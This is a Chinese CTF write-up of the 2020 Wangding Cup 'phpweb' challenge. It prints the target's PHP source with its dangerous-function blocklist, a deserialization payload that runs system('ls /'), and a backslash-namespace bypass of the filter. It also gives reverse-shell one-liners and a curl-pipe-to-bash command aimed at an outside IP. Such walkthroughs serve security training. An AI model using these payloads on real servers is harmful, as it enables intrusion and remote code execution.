[网鼎杯 2020 朱雀组]phpweb ---废物日记第二天

题解:

一,打开网页后得到一串报错,我们抓个包看下什么情况

看了一眼bp里面的内容,以post的形式传两个参数,我们猜测

func=date&p=Y-m-d+h%3Ai%3As+a

前面的参数主要传递函数类型

后面的参数传递内容,我们直接尝试访问index.php的内容

func=file_get_contents&p=index.php得到index.php内容

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法

我们直接得到源码

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

分析源码,他一来就屏蔽了很多危险函数,然后构造了方法,这里

call_user_func - 返回一个自定义用户函数给出的第一个参数 函数定义 mixed call_user_func(回调 函数名 [,混合 参数 [,混合$ ...]])调用用户定义函数来确定函数参数。参数 零个或多个参数传递给函数。返回值为函数执行参数后的结果

注意: 对于call_user_func(参数)不按引用传递。

gettype是以string gettype ( mixed var )为函数原型的一种计算机运算方法。描述 string gettype ( mixed var )返回PHP变量的类型。

所以就是传入两个参数,如果符合条件就会在结尾用到__destruct()函数执行,最终返回结果.然后就是熟悉的序列化和反序列化过程,首先构造序列化函数查看目录.也可用直接使用find / -name flag*命令查看所有带flag字符的文件.

<?php
    class Test {
        var $p = "ls /";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
$a = new Test();
$b = serialize(@$a);
echo $b;
    
    ?>
</p>

更改func和p的值,查看目录下的内容

Payload为func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

找到tmp下有一个名为   flagoefiu4r93的文件,直接cat看一下

得到flag为flag{a4b5e6f3-1cd8-4eb9-840b-2bd331b46556}

拓展:

这里看别人wp还能使用命名空间绕过:

    func=\system p=find / -name flag*              func=\system p=cat /xx/flag

使用 \system 或者 @system 绕过黑名单,进而执行命令

加 \ 指定根命名空间

加 @ 抑制错误显示

    @  运算符只对表达式有效。对新手来说一个简单的规则就是:如果能从某处得到值,就能在它前面加上 @ 运算符。例如,可以把它放在变量,函数和  include() 调用,常量,等等之前。不能把它放在函数或类的定义之前,也不能用于条件结构例如 if 和 foreach 等。 目前的“@”错误控制运算符前缀甚至使导致脚本终止的严重错误的错误报告也失效。这意味着如果在某个不存在或类型错误的函数调用前用了“@”来抑制错误信息,那脚本会没有任何迹象显示原因而死在那里。

还有一个我不懂的:

    nc -lvnp 9002

    echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash

直接post传参(进行url编码)

system()调用/bin/sh,而它指向dash shell (仅指我测试的)

    # 查看/bin/sh指向
    ls -l /bin/sh
    # lrwxrwxrwx 1 root root 4 Apr 23  2020 /bin/sh -> dash

dash中自然需要适合自己的语法,而bash -i >& /dev/tcp/49.232.213.200/9000  0>&1不符合其语法,所以需要指定其他shell(如bash)来执行反弹shell(或者想办法搞出一个dash反弹shell)

    func=\system&p=echo "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"|bash
        bash -c "bash -i >& /dev/tcp/49.232.213.200/9000 0>&1"

或者远程shell


    func=\system&p=curl http://49.232.213.200/1.txt|bash

  • 14
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值